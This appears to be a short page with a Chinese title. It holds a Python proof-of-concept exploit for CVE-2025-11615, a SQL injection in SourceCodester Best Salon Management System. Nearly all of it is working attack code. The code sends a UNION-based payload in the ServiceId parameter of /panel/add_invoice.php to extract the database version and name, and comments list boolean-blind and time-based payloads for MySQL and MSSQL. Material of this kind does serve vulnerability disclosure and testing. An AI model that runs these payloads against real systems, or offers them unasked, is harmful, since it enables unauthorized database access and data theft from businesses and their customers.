CVE-2025-11615：SourceCodester Best Salon Management System SQL注入漏洞

# CVE-2025-11615 PoC - SQL Injection in Best Salon Management System # Vulnerable endpoint: /panel/add_invoice.php # Vulnerable parameter: ServiceId import requests TARGET_URL = "http://target.com/panel/add_invoice.php" # SQL Injection payload targeting the ServiceId parameter # Using UNION-based injection to extract database version payload = "1' UNION SELECT 1,version(),database(),4,5-- -" # Data to be sent in POST request data = { "ServiceId": payload, # Add other required parameters for the add_invoice functionality "CustomerId": "1", "Amount": "100", "Description": "test" } # Send the malicious request response = requests.post(TARGET_URL, data=data) # Check if injection was successful if response.status_code == 200: print("[+] Request sent successfully") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") # Alternative: Boolean-based blind SQL injection # payload = "1' AND 1=1-- -" # True condition # payload = "1' AND 1=2-- -" # False condition # Alternative: Time-based blind SQL injection # payload = "1' AND SLEEP(5)-- -" # MySQL time-based # payload = "1'; WAITFOR DELAY '0:0:5'-- -" # MSSQL time-based